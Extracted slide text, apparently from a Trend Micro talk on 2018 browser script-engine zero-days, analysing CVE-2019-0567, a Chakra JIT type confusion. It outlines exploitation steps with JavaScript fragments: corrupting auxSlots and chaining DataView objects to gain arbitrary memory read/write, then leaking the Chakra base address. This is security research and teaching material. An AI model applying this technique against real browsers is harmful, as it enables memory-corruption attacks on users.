https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 漏洞补丁 • Before patch: lowerer Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 漏洞补丁 Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 漏洞补丁 • After patch: lowerer Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 漏洞利用 • auxslots可以通过脚本控制 • 目标是获得任意地址读写原语 • 需要破坏一些对象来利用 Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 漏洞利用 • DateView var buffer = new ArrayBuffer(0x123); var dv = new DataView(buffer); dv.setUint32(0, 0x12345678, true); Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 漏洞利用 • Exploit Memory Layout – R/W Primitive vtable type auxslots vtable type auxslots vtable type auxslots objectArray objectArray objectArray length arrayBuffer byteOffset buffer vtable type auxslots objectArray length arrayBuffer byteOffset buffer obj1 (DynamicObject) obj3 (DynamicObject) dv1 (DataView) dv2 (DataView) obj1.a obj1.b obj1.c obj3.a obj3.b obj3.c obj3.d obj3.e obj3.f obj3.g obj3.h Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 漏洞利用 • Exploit Memory Layout – R/W Primitive vtable type auxslots vtable type auxslots vtable type auxslots objectArray objectArray objectArray length arrayBuffer byteOffset buffer vtable type auxslots objectArray length arrayBuffer byteOffset buffer obj1 (DynamicObject) obj3 (DynamicObject) dv1 (DataView) dv2 (DataView) obj1.a obj1.b obj1.c obj3.a obj3.b obj3.c obj3.d obj3.e obj3.f obj3.g obj3.h Step1. Trigger bug and set obj1->auxSlots = obj3 opt(obj1, obj1, obj3); Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 漏洞利用 • Exploit Memory Layout – R/W Primitive vtable type auxslots vtable type auxslots vtable type auxslots objectArray objectArray objectArray length arrayBuffer byteOffset buffer vtable type auxslots objectArray length arrayBuffer byteOffset buffer obj1 (DynamicObject) obj3 (DynamicObject) dv1 (DataView) dv2 (DataView) obj1.a obj1.b obj1.c obj3.a obj3.b obj3.c obj3.d obj3.e obj3.f obj3.g obj3.h Step2. Set obj3->auxSlots = dv1 obj1.c = dv1; Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 漏洞利用 • Exploit Memory Layout – R/W Primitive vtable type auxslots vtable type auxslots vtable type auxslots objectArray objectArray objectArray length arrayBuffer byteOffset buffer vtable type auxslots objectArray length arrayBuffer byteOffset buffer obj1 (DynamicObject) obj3 (DynamicObject) dv1 (DataView) dv2 (DataView) obj1.a obj1.b obj1.c obj3.a obj3.b obj3.c obj3.d obj3.e obj3.f obj3.g obj3.h Step3. Set dv1->buffer = dv2 obj3.h = dv2; Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 漏洞利用 • Exploit Memory Layout – R/W Primitive vtable type auxslots vtable type auxslots vtable type auxslots objectArray objectArray objectArray length arrayBuffer byteOffset buffer vtable type auxslots objectArray length arrayBuffer byteOffset buffer obj1 (DynamicObject) obj3 (DynamicObject) dv1 (DataView) dv2 (DataView) obj1.a obj1.b obj1.c obj3.a obj3.b obj3.c obj3.d obj3.e obj3.f obj3.g obj3.h Step4. Get arbitrary R/W primitive by corrupting dv2's buffer dv1.setUint32(0x38, addr_lo, true); dv1.setUint32(0x3c, addr_hi, true) Chakra JIT Type Confusion • 案例分析: CVE-2019-0567 : 漏洞利用 • Leak chakra base address Demo 结论 • Flash仍然是攻击者的主要目标。 由于Adobe将在2020年底停止更新Flash, Flash零日漏洞攻击的数量可能会减少。 • 在2018年,一些旧的脚本引擎开始成为攻击者的目标,例如VBScript和JScript。 未来可能会在这些脚本引擎中发现更多的零日漏洞攻击。 • VBSEmulator可用于执行一些vbscript反混淆并检测可能的未知漏洞。 • 新的JavaScript引擎Chakra似乎很脆弱,尤其是JIT编译器。 类型混淆易于利用。 谢谢! Browser Script Engine Zero Days in 2018 @elli0tn0phacker Elliot Cao elliot_cao@trendmicro.com
pdf